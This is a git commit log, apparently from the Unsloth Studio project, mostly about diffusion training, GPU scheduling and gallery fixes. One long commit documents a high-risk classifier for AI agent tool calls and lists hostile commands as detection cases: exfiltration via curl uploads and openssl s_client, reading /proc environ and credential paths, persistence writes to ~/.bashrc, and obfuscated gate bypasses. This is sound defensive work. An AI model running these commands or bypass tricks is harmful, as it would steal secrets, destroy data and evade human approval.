1,215 commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
Daniel Han
|
4850fd239d |
Expose the persistent conditioning cache in the start schema
DiffusionLoraConfig has carried cond_cache_dir for a while and the DiT trainer acts on it, but DiffusionTrainingStartRequest omitted the field, so Pydantic dropped it silently and every API-driven run fell back to the in-memory cache that is rebuilt from scratch each time. The warm path skips loading the VAE and the multi-GB text encoders on a rerun whose images, captions and resolution are unchanged, so this was a real capability that could not be reached. Contained like output_dir rather than left to the trainer subprocess's cwd, since it is another directory the trainer writes to. Blank or omitted still means the in-memory cache, so it must not resolve to the outputs root. |
||
|
Daniel Han
|
7d15f202a4 |
Close the load-versus-training-start race, and two picker fixes
- The image and video load guards read is_active() and only then selected an engine, acquired the arbiter and registered the load. A /train/diffusion/start reserving inside that window freed residents the load had not registered yet, so the trainer came up beside a brand-new pipeline. The service already had exactly the right pattern for this in dataset_mutation, so gpu_load_admission mirrors it: reserve() refuses while an admission is open, an admission refuses once a start is reserved, both decided under the one lock. The span is only the registration, since begin_load returns as soon as the load is registered and _free_gpu_for_diffusion_training preempts an in-flight load from that point. Chat is deliberately not covered: its load spans an eviction plus a multi-minute GGUF load, and it admits models that fit beside training by design, which is a different contract from the diffusion pipeline's all-or-nothing one. - Hugging Face gives the LTX-2 family the image-to-video pipeline_tag (both Lightricks/LTX-2 and unsloth/LTX-2.3-GGUF report it), so a text-to-video-only filter dropped the flagship audio family out of Video Hub search while the rest of the app routed it to Video. - Task-scoped quant fit sized picks against the LARGEST visible device while resolve_diffusion_device_target returns a bare "cuda" and torch places on the current one. On a heterogeneous host that recommended a checkpoint sized for the bigger card and then loaded it onto the smaller one. Fit now uses the device the load actually lands on; identical on a homogeneous host. |
||
|
Daniel Han
|
3f6057a2b2 |
Bound the gallery blob cache, and three interlock fixes
Four review findings, all reproduced first: - The gallery object-URL caches were unbounded. A clip runs from a few MB to a few hundred, both pages stay mounted after their first visit, and entries were only dropped on delete, so scrolling pinned everything for the session. Both pages now share a byte-budgeted LRU (512 MB video / 192 MB images) keyed off the visibility signal the near-viewport fetching already provides. On-screen media, the selected clip or image, and the item just fetched are never evicted, so eviction is invisible and a single item larger than the whole budget cannot evict itself into a refetch loop. - The image, video and chat load guards ran two independent training probes but returned early when the FIRST one raised, so an unreadable LLM backend disabled the diffusion interlock and a load could proceed straight into an active diffusion trainer on the same GPU. The probes are independent now. - An engine switch swallowed a failed teardown and published the new engine anyway, which is exactly the leak the unload exists to prevent: the arbiter's evictor, /images/unload and the next load all resolve through get_active_diffusion_engine(), so the still-resident pipeline (or a live sd-server) became unreachable and the next load allocated on top of it. The switch now fails and leaves the old engine published, so it stays reclaimable. - The native generation timeout was 30 minutes while the Images page waits up to 6 hours (SETTLE_MAX_MS), so slow-but-progressing CPU jobs died deterministically at the deadline. Measured on GPU-less runners, a 512x512 4-step Q2_K generation took 900 s on Linux and 1465 s on Windows, so larger images or step counts clear half an hour easily. The ceiling now matches the page's window and applies to the whole request: chunks of a split batch share one deadline instead of each getting a full budget. Cancellation is unchanged. Declined: gating the huggingfacenotorch extra off Python 3.9 over the conditional diffusers marker. The marker is deliberate and its comment says why: diffusers dropped 3.9 in 0.38, so pinning >=0.39 outright leaves pip no candidate and the whole extra unresolvable there. The pipelines it names live in studio/backend, which cannot install on 3.9 anyway (studio.txt pins matplotlib==3.10.9 and fastmcp>=3.0.2, both requires_python >=3.10), and the extra is the general core one, so the alternative drops 3.9 for library users who never touch Studio. |
||
|
pre-commit-ci[bot]
|
c261194fa5 |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
b671038f2d |
Stop staging the dense text encoder for an fp8 video load
Two halves of the same gap, found while measuring the LTX-2.3 download plan: - The video download plan and the scoped pre-download never saw text_encoder_quant. An fp8 request loads a hosted pre-cast encoder, so asking for one still staged and downloaded the base repo's dense Gemma3 (48.79 GB of Lightricks/LTX-2 on the 2.3 distilled pick) that the pipeline then never opened. The plan now drops those shards and stages the pre-cast checkpoint instead; their configs stay, since the pre-cast loader still meta-inits the encoder from the base repo's component config. - The LTX-2.3 assembly builds every component itself, so pipe_kwargs (which carries the pre-cast encoder for from_pretrained) never reached it and an fp8 request silently loaded the dense encoder anyway. It is passed across explicitly now. The dense skip is earned, not assumed: only a pre-cast checkpoint that resolves on the Hub lets the plan drop the dense shards, and only one already fetched to disk lets the pull drop them, so an unpublished or gated artifact leaves both exactly as they were. If injection still fails after that, the load tops the dense weights back up rather than handing from_pretrained a snapshot with no encoder in it. Measured against the real Hub on the 2.3 distilled Q4_K_M pick: 67.24 GB before, 18.92 GB with a 0.43 GB stand-in for the pre-cast artifact (the base entry drops from 24 files / 48.79 GB to 13 files / 0.04 GB). |
||
|
Daniel Han
|
72d9de7b38 |
Keep the reason a native server died, not just its backtrace
A ggml abort prints its cause first and then a stack trace, so reporting the last twenty captured lines gave twenty addresses and nothing about the failure: on the macOS runner the native server died on an unimplemented Metal op and the message carried only frame pointers. The captured tail now leads with the lines that name a cause and keeps recent context after them, for both the startup failure and the mid-request death. |
||
|
Daniel Han
|
07e55ad387 |
Treat an undecodable caption sidecar as the tombstone the trainer sees
Uploads store .txt and .caption sidecars as raw bytes, so one can hold invalid UTF-8. The trainer treats any existing sidecar, decodable or not, as an empty tombstone and never falls back to the metadata row for that image. The labeling grid and the dataset summary read an undecodable sidecar as absent instead, so both showed a metadata caption that the run would silently replace with the instance prompt, and counted the image as captioned. Both now track sidecar presence separately, so what the user reviews is what the run trains on. |
||
|
Daniel Han
|
a47cc6299d |
Name the class of a failed generation instead of a bare "Image generation failed."
Found on a macOS runner: the native renderer aborts inside its own text encoder there, and the page showed only "Image generation failed." with the sd-server backtrace left in the server log, so nothing about the failure reached the user. The failure is now classified into fixed text, out of memory and native-process death, so the message says what happened and what to try. None of the engine's own output is echoed, since a native tail carries local paths and argv; that stays in the log, and an unrecognised failure keeps the original literal. |
||
|
Daniel Han
|
ff01108a70 |
Resolve revisions from the live cache, serialize dataset imports, and stop pinning every gallery blob
Five more items from the review round. The conditioning-cache revision marker read huggingface_hub's import-time HF_HUB_CACHE constant. Studio can move its cache during a session and loading follows the live setting, so after a move the marker went unresolved (or pointed into the previous root) and pulling a new revision of the same checkpoint no longer invalidated the cache: a warm run could reuse the old encoder's embeddings and the old VAE's latents. It now looks in the active Studio cache first and keeps the environment and the library constant as fallbacks, which the trainer subprocess still needs. The dataset interlock counts mutations rather than excluding them, so two imports of different examples into the same empty name both got past the emptiness check. The winner promoted its staging directory atomically; the loser found the folder non-empty, fell back to a per-file move, and merged its images and captions into the winner's dataset. Imports now take a per-folder lock, a second one is refused with 409, and the emptiness check is repeated under the lock. On Windows the sd.cpp asset resolver filtered only by accelerator token, so a Windows arm64 host matched an x64 zip, downloaded and installed it, and failed later when the binary would not run. It now filters by architecture the way the Darwin and Linux branches do. Every gallery page fetched every PNG up front and kept the object URL for the session, so scrolling a large gallery grew memory without bound for tiles the user may never look at. The Images strip now fetches a tile as it nears view, like the Video strip, and keeps the eager path only where IntersectionObserver is unavailable. A 503 carrying a JSON body comes from the application, not a proxy, so it is surfaced as the error it is instead of entering lost-response settlement and being reported as a request that never reached the server. |
||
|
Daniel Han
|
804589d78b | Merge remote-tracking branch 'origin/image-generation' into r6763 | ||
|
Daniel Han
|
a3975d6500 |
Stop adopting an unknown scoped download, leaking raced blobs and resurrecting deleted clips
Three items from the latest review round. A scoped download job carries a deliberate file subset, and every file set of one repo rides the same "@scope" slot. A client that adopts a live job from the backend had no file list to compare against: the active-downloads response never carried one, so an adopted job's set was unknown and any later scoped request for the same repo read as "already started". Selecting a different checkpoint then waited on the wrong transfer and tried to load a file nobody fetched. The response now publishes the scoped file list, adoption records it, and an unknown set no longer satisfies a scoped request. A gallery record can be deleted while its blob is still downloading. The delete revokes the URL present at that moment, so the fetch that lands afterwards inserted a fresh object URL for a record no card renders and nothing can revoke: a full MP4, tens to hundreds of MB, pinned for the rest of the session, and once per raced fetch. Both galleries now discard a blob whose record went away, with an epoch covering the video page's Clear all. The video backend keeps the last completed job until the next one starts, and the Video page merges that record on mount to cover a job that finished after the gallery fetch. Deleting the clip left the record in place, so every reload prepended a ghost card whose file request 404s until another generation replaced it. Deleting the clip, or clearing the gallery, now clears the matching terminal record, and the page skips a record it deleted itself. |
||
|
pre-commit-ci[bot]
|
9b8e49262c |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
3c6cae3863 |
Merge remote-tracking branch 'origin/main' into r6763_mainmerge
# Conflicts: # studio/backend/routes/models.py |
||
|
Daniel Han
|
d6d8b8b1a6 |
Fix the lost-generation proof set, the settle timeout and the hub inventory's diffusion gates
Seven fixes from the latest review round on the Images page and the hub cache inventory. Images page: - The lost-POST settle path built its "already seen" gallery id set inside the catch, after the request failed. By then the earlier runs of the same batch had already prepended their records, so run 2 could accept run 1's image as proof that its own request reached the backend. The set is now captured once before the first POST and grows with every record the batch produces. - settleLostGeneration fell out of its SETTLE_MAX_MS loop and returned normally, so a wedged generation was counted as done and the next run started against a busy backend. It now throws on timeout. - Restoring a recipe cleared the ControlNet selection but left the workflow tab and the init / mask / reference images pointing at whatever was loaded, so the next Generate conditioned on an unrelated image. It now clears all of them and returns to Create. - The download plan omitted the adapter selection the load itself bakes in. A baked LoRA forces the dense build path, so the plan described a different file set than the load that followed and the rest was pulled inline, outside the download manager. Both now derive the list from one helper. Hub cache inventory: - A download for a repo an Images or Video load is staging was allowed to start: only the llama.cpp loader was consulted. Both diffusion backends already expose loading_repo_ids for the delete guard, and the download guard now reads them too. - A companion-only prefetch (pipeline manifest plus VAE and text encoder, no transformer) passed the snapshot-partial check, since every file its manifest expected did arrive, and was advertised as on-device although from_pretrained cannot load it. - The single-file flag never reached the picker through the hub inventory path, so a checkpoint-only diffusion repo read as a full pipeline and failed after the handoff. The two pipeline-shape helpers now live in hub/utils/inventory_scan.py so /api/models/cached and the hub inventory classify the same repos the same way. |
||
|
Daniel Han
|
67d3660393 |
Do not stub out triton on a GPU host when the Xet backend fails to import
The lazy loader retries `import unsloth_zoo.hf_xet_fallback` under UNSLOTH_ZOO_DISABLE_GPU_INIT=1 whenever the first attempt raises. That flag makes unsloth_zoo take its MLX/CPU path, which injects triton and bitsandbytes STUBS into sys.modules for the rest of the process. On a working GPU box whose first import failed for an unrelated reason (a bitsandbytes/CUDA mismatch, say) the retry succeeds, so Studio boots looking healthy and then dies at the first CUDA-only kernel: a GGUF or compiled diffusion generation hits the stub and returns NotImplementedError: Unsloth: 'triton.tools.experimental_descriptor.enable_in_pytorch' was called on Apple Silicon / MLX, where triton is stubbed out. so every image generation 500s with an Apple-Silicon message on a Linux CUDA host, while the load reports success. Found by loading Z-Image-Turbo GGUF through the API on a box where bitsandbytes could not initialise. Gate the retry on the host genuinely having no accelerator. The Xet stall watchdog is optional and already degrades with a warning; a process whose triton is stubbed out is not recoverable. The warning now says why it did not retry. |
||
|
Lee Jackson
|
7f0910fcc6 |
Add interactive Agents command builder (#7312)
* Add Agents settings tab for unsloth start Adds a Settings > Agents tab documenting the `unsloth start` command: quickstart, supported agents with click-to-copy commands, model selection, common options, remote Studio setup, argument pass-through, and a dry-run preview. Agent CLIs found on PATH are badged as installed. Also removes the "New" badge from the System and Chat tabs. * Use official brand logos for agents, invert Ollama and OpenRouter in dark mode Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from the provider-logos registry; agents without an official asset keep the monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode so their monochrome marks stay visible. * Title Agents tab "Agents (unsloth start)" and move it below Connections The in-tab header now reads "Agents (unsloth start)" while the sidebar label stays "Agents". Reorders the tab to sit below Connections. * Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet - Only probe agent PATH in the desktop app on a loopback backend, so Installed badges are not driven by a remote server's environment. - Show the "none found" note only when detection actually ran and returned empty, not when the call failed. - Share one copy hook that resets its timeout on rapid clicks and clears it on unmount. - Render the Remote Studio snippet with PowerShell syntax on Windows. - Note that --no-launch can still load a model when --model is set. - Drop unused quickstart translation keys. * Add interactive Agents command builder * Add local subagent command guidance * Add official coding agent icons * Use client OS for remote commands, fix copy a11y and model wording (#7303) - Pick the remote snippet shell from the client platform, not the server deviceType - Single-line the model examples so they paste in POSIX, PowerShell and cmd - Split the pass-through block into independent one-command copies - Derive detection visibility instead of clearing state in the effect - Announce copy success to assistive tech - Correct the quickstart/model copy: bare start uses the loaded model * Shell-quote the model, forward the HF token, and fix the quant placeholder - Quote the --model value in the generated and subagent commands so a local path with spaces or metacharacters stays a single argument (client-OS aware) - Pass the saved Hugging Face token to listGgufVariants so gated repos resolve - Show 'No separate quantization' instead of a stuck 'Loading quantizations...' when a model has no variants; clear the failure once a later request succeeds * Fix Agents command discovery and routing * Unsloth start improvements: download progress, server reuse, and safe model switching (#7313) * Improve unsloth start runtime lifecycle * Remove speculative Gemma prompt override * Polish model download progress output * Refine unsloth start status output * Clarify unsloth readiness banner * Clarify model reuse and switching output * Queue model switches behind active inference * Tighten unsloth start model switching * Reduce model switch bookkeeping * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix Studio re-exec compatibility * Recheck sidecar reservation after inference drain * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Pass start marker through child environment * Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313 - Redact minted sk-unsloth keys from the startup-failure log tail: the early key marker lands in the server log before the model load finishes, so a load-phase crash printed a live key to the terminal - Deregister a finished switch waiter before releasing the swap gate so a swap on another event loop cannot count it as still queued and unload the model the finished request is about to generate against - Warn on same-repo quant switches: an explicit variant replaces the resident weights for every attached session, but the repo ids match so no switch warning was printed - Note the agent exit code when it is nonzero so the server keep-alive message does not read as a successful session - Use taskkill /T in unsloth studio stop so llama-server children stop too * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tighten comments in start, studio, and inference changes --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Daniel Han <danielhanchen@gmail.com> * Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326) Bring the local-subagent support onto main. The original change (#7316) merged into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313 reached main via squash, so these files never landed on main. Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its own cloud model while a locally served GGUF is registered as a delegated subagent, using ephemeral per-session config that never touches the user's real agent config. * Fix Agents builder defaults and flag validation * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix Agents variant and provider fallbacks * Fix local model and Pi subagent edge cases * Agents tab: flag the Codex row when the loaded model is not GGUF * Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms * Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder * Preserve cache load ids and path variants in built commands for PR #7312 A GGUF outside the active Hugging Face cache only loads by its snapshot path, so keep that load_id for --model while still listing the row by repo id. Path based models carry their quant in --gguf-variant rather than a ":variant" suffix, and the active selection now keeps the variant inference status reports for them. * Agents tab: index the intro for agent-name searches and keep long commands inside the panel * List GGUF variants from the cache the command loads from for PR #7312 A snapshot outside the active Hugging Face cache was offering the remote variant list, so a quant absent from that snapshot could be selected and the generated command would fail to load it. * Agents tab: omit --api-key so the CLI can replay a saved key for the base * Agents tab: label the indexed heading rows and fall back to the active desktop API base * Agents tab: name every supported agent in the indexed intro for PR #7303 * Send the cached GGUF load path and fix the agents tab search targets for PR #7312 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tighten the agents tab comments for PR #7303 * Build the agents tab example commands from the active Studio base for PR #7303 * Keep the resident model on its active cache load for PR #7312 * Tighten the agents tab and cached GGUF comments for PR #7312 * Take the agent command shell from the Studio host for PR #7303 * Stop emitting snapshot paths as --model and keep unsloth start searchable for PR #7312 * Pick the command shell from where the CLI runs for PR #7303 * Match a path load by its advertised id and follow the resident model for PR #7312 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Keep an explicit quantization and retire superseded native-grant labels for PR #7312 * Scope the remembered quant, stop following unloaded models and keep local GGUF paths for PR #7312 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Stop shadowing the path classifier, match snapshot ordering and sequence status polls for PR #7312 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Release stale native-grant picks, keep local GGUF identities and index snapshot aliases for PR #7312 * Index inactive-cache snapshots, widen local GGUF detection and clear retired quants for PR #7312 * Classify cached repos by snapshot, merge repo ids case-insensitively and keep loose GGUFs variantless for PR #7312 * Fix snapshot alias, partial split and mmproj-only handling for PR #7312 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Trust scanned model_format and drop incomplete snapshot ids for PR #7312 * Exclude mmproj and partial downloads, keep path case and drop duplicate scan for PR #7312 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Restrict revision aliases and require complete snapshot variants for PR #7312 * Index revisions individually and hide partial variants for PR #7312 --------- Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com> Co-authored-by: Daniel Han <danielhanchen@gmail.com> Co-authored-by: oobabooga <oobabooga4@gmail.com> Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> |
||
|
Daniel Han
|
1255964d5a |
Studio: default tool-call permission to Approve for me, prompt only on high-risk actions (#7285)
* Default tool-call permission to Approve for me, prompting only on high-risk actions
Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.
Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:
- Unset permission_mode normalizes to "auto" at the API boundary and in both
tool loops; the Field defaults are "auto" too. An unrecognized value still
falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
is_high_risk_tool_call classifier: credential/secret path access, privilege
escalation (sudo/su/doas/pkexec), destructive or persistence commands
(rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
(curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
Python prompts on shell escapes, network egress, sensitive reads, and
dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
confirm_tool_calls for "auto" so the safe-only no-stream exception still
applies; the picker and store describe the new behavior.
The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-streaming tool requests working under the auto default
The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).
Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.
* Harden the auto high-risk classifier against review-flagged bypasses
Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:
- Terminal: a non-shell interpreter running inline code (python -c, node -e,
perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
git push --force), and a command synthesized by a command-position
substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
like a terminal call, since it runs arbitrary commands on the MCP server
outside the terminal sandbox; ordinary create/list/read tools still run.
The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recurse shell -c payloads and literal exec source in the high-risk gate
Second review round on the auto high-risk classifier:
- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
bounded by depth. The sandbox hard-block only recurses for its own smaller
command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
consume their value before the subcommand is read, so the real subcommand
is judged.
- The network exfil check also runs over the assignment-expanded command, so a
curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths
Third review round on the auto high-risk classifier:
- Interpreter inline code in the attached short form (python -c'...',
node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
flag token.
- env -S / --split-string runs its string as a command (screened recursively)
and env -C / --chdir changes the working directory (asks), so a destructive
command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
run_Command) before the execution / sensitive-noun regexes, so camelCase
execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
and re-checked; an unresolved fragment folds to a sentinel so a partial fold
never false-positives.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate substitution-built shell payloads and keep explicit confirm opt-in
Two auto-mode gaps from review:
- A command substitution stashed in a variable and then executed dynamically
(x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
appears as literal command text, so the token scan could not see the real
command and git clean ran without a prompt. Fail closed when a command
substitution coincides with a variable executed as a command. Ordinary
substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
run.
- An explicit confirm_tool_calls=True with no permission_mode is the
pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
the request layer instead of the "auto" product default, so those callers keep
per-call gating rather than only prompting on high-risk calls. A bare unset
request (confirm flag not set) still defaults to auto.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads
Three more auto-mode gaps from review:
- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
"ask" regardless of the request-level tool flags, so a process-wide
--enable-tools policy that forces the loop when the request sets neither
enable_tools nor mcp_enabled still gates every call. Setting only the mode is
inert unless the loop runs, so a passthrough request is unaffected;
external-provider requests are still left untouched.
- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
high-risk terminal set. The terminal executor runs cmd /c on Windows and these
are not in the hard-block set, so del /q file.csv would otherwise run in the
workdir without a prompt.
- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
a Path bound to a variable then joined) is now gated. The python high-risk
folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
already handle the / operator, path constructors, os.path.join, str.join,
f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.
* Gate combined -c, versioned interpreters, busybox, and sensitive chdir
Four more auto-mode classifier gaps from review, plus a sandbox backstop:
- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
(bash -c'...') now have their -c payload screened recursively; the same
cluster handling closes python -Bc inline code. Previously only an exact -c
matched, so bash -lc 'git clean -fd' ran without a prompt.
- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.
- busybox / toybox are treated as command wrappers, so the applet
(busybox rm -rf) is judged instead of the multicall binary, which was slipping
through as an unknown-but-safe command.
- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
gated: the read happens after the directory change so no single token spells
out the sensitive path. Ordinary in-workdir chdirs still run.
- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
Unsloth process against same-UID /proc environ reads in normal sandboxed mode
too, not only in bypass mode, so a classifier miss cannot recover the parent
environment. Best-effort in the sandbox (the child env is already scrubbed), so
a host where prctl is unavailable still runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden parent proc-env on the sandboxed python path too
The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.
* Tighten the curl/wget exfil check for attached and wget upload flags
The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.
* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps
Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:
- Process-launch wrappers: setsid/exec/builtin forward the command position, so
screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
-Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
GraphQL mutation, mutating HTTP method) still prompts; honestly-named
create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
/etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.
Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.
* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads
Round-two Codex hardening on the auto (Approve-for-me) classifier:
- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
at command position and openssl s_client/s_server. The sandbox has no network
namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
the workdir without a prompt. Local openssl (dgst/enc) and a filename that
merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
purge_index/revoke_token runs outside the terminal sandbox and loses data, so
gate the destructive verb on the name. Non-destructive create/update/list/get
still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
carries no command substitution and is not resolved by assignment expansion,
so it slipped the var-executed check. Fail closed when an array expansion is
run as a command; a benign array print (echo "${a[@]}") is untouched.
Adds regression rows for every new prompt case and its benign counterpart.
* Gate user-level persistence writes in auto mode
Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.
* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove
- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
--request= forms) mutates or deletes a remote resource, so gate it; a plain
download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
. ./script.sh ran the file's contents past the classifier. Block '.' at
command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
was missed because only the literal receiver 'os' was recognized; resolve
import os as ... aliases, matching the existing safety analyzer.
Adds regression rows for each case and its benign counterpart.
* Close three more obfuscation bypasses of the auto-mode gate and hard block
- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
both the high-risk scan and _find_blocked_commands missed it while Bash ran
rm. Decode ANSI-C ($'...') before classifying, in both the terminal
classifier and the blocklist; an ANSI-C string in argument position stays
benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
whose generated content is unscreenable) ran without a prompt; the prior <(
check was unreachable without curl/wget. Gate a process substitution consumed
by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
'remove') bypassed the direct-attribute scan. Track assignment aliases and
getattr with a literal attribute name; a bound list.remove still runs.
Adds regression rows for each case and its benign counterpart.
* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners
- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
kubectl) act through a daemon with host privileges, so a bind mount writes the
real filesystem and escapes the child process workdir and rlimits entirely.
Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
attach/bind/put/update/create) prompts only next to a privilege noun (role,
